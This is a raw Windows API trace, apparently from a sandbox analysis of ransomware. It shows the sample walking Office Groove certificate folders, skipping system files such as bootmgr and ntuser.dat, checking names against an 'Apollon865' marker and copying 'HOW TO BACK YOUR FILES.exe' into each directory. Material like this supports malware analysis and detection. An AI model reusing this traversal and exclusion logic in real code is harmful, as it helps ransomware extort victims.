	[0071.401] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42a087f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42a087f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.401] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.401] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.401] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.401] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.401] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="Apollon865.txt.exe") returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2=".") returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="..") returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="windows") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="bootmgr") returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="temp") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="pagefile.sys") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="boot") returned 1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="ids.txt") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="ntuser.dat") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="perflogs") returned -1
	[0071.401] lstrcmpiW (lpString1="groove.net", lpString2="MSBuild") returned -1
	[0071.401] lstrlenW (lpString="groove.net") returned 10
	[0071.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*") returned 64
	[0071.401] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="groove.net" | out: lpString1="groove.net") returned="groove.net"
	[0071.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0071.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5afba8
	[0071.401] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0071.402] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a087f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42a087f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.402] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.402] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="Apollon865.txt.exe") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2=".") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="..") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="windows") returned -1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="bootmgr") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="temp") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="pagefile.sys") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="boot") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="ids.txt") returned 1
	[0071.402] lstrcmpiW (lpString1="Verisign", lpString2="ntuser.dat") returned 1
	[0071.402] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Verisign" | out: lpString1="Verisign") returned="Verisign"
	[0071.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0071.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a3168
	[0071.402] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0071.402] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0071.402] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0071.402] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0071.402] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign"
	[0071.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0071.402] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0071.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned 71
	[0071.403] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign"
	[0071.403] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.403] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.453] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42a2e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42a2e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.453] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.453] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.453] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Components" | out: lpString1="Components") returned="Components"
	[0071.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0071.453] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a3168
	[0071.453] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0071.453] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a2e950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42a2e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.453] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.453] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a2e950, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42a2e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0071.453] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0071.453] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0071.453] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components"
	[0071.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0071.453] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0071.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned 82
	[0071.453] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components"
	[0071.454] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.469] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42ac6ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42ac6ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.469] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.469] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.469] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="VeriSign_Class_3_Code_Signing_2001-4_CA.cer" | out: lpString1="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned="VeriSign_Class_3_Code_Signing_2001-4_CA.cer"
	[0071.469] lstrlenW (lpString="VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned 43
	[0071.469] lstrlenW (lpString="Apollon865") returned 10
	[0071.469] lstrcmpiW (lpString1="1-4_CA.cer", lpString2="Apollon865") returned -1
	[0071.469] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="VeriSign_Class_3_Public_Primary_CA.cer" | out: lpString1="VeriSign_Class_3_Public_Primary_CA.cer") returned="VeriSign_Class_3_Public_Primary_CA.cer"
	[0071.469] lstrlenW (lpString="VeriSign_Class_3_Public_Primary_CA.cer") returned 38
	[0071.469] lstrlenW (lpString="Apollon865") returned 10
	[0071.469] lstrcmpiW (lpString1="ary_CA.cer", lpString2="Apollon865") returned 1
	[0071.469] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="VS_ComponentSigningIntermediate.cer" | out: lpString1="VS_ComponentSigningIntermediate.cer") returned="VS_ComponentSigningIntermediate.cer"
	[0071.469] lstrlenW (lpString="VS_ComponentSigningIntermediate.cer") returned 35
	[0071.469] lstrlenW (lpString="Apollon865") returned 10
	[0071.469] lstrcmpiW (lpString1="ediate.cer", lpString2="Apollon865") returned 1
	[0071.469] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net"
	[0071.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afba8 | out: hHeap=0x580000) returned 1
	[0071.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0071.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned 73
	[0071.470] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net"
	[0071.470] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42ac6ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42ac6ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.477] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.477] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.477] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Components" | out: lpString1="Components") returned="Components"
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x5a3168
	[0071.477] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fd50
	[0071.477] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ac6ed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x42ac6ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.477] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.477] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0071.477] lstrcmpiW (lpString1="ManagedObjects", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.477] lstrcmpiW (lpString1="ManagedObjects", lpString2="Apollon865.txt.exe") returned 1
	[0071.477] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="ManagedObjects" | out: lpString1="ManagedObjects") returned="ManagedObjects"
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0071.477] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x59fcd0
	[0071.477] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1
	[0071.477] lstrcmpiW (lpString1="Servers", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.477] lstrcmpiW (lpString1="Servers", lpString2="Apollon865.txt.exe") returned 1
	[0071.477] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Servers" | out: lpString1="Servers") returned="Servers"
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0071.477] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x5afba8
	[0071.477] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fbf0
	[0071.477] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0
	[0071.477] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0071.478] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0071.478] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers"
	[0071.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afba8 | out: hHeap=0x580000) returned 1
	[0071.478] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0071.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned 81
	[0071.478] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers"
	[0071.478] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.482] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42ac6ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42ac6ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.482] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.482] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.482] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="Management.cer" | out: lpString1="Management.cer") returned="Management.cer"
	[0071.482] lstrlenW (lpString="Management.cer") returned 14
	[0071.482] lstrlenW (lpString="Apollon865") returned 10
	[0071.482] lstrcmpiW (lpString1="gement.cer", lpString2="Apollon865") returned 1
	[0071.482] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="RELAY.CER" | out: lpString1="RELAY.CER") returned="RELAY.CER"
	[0071.483] lstrlenW (lpString="RELAY.CER") returned 9
	[0071.483] lstrlenW (lpString="Apollon865") returned 10
	[0071.483] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects"
	[0071.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0071.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0071.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned 88
	[0071.483] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects"
	[0071.483] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.487] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
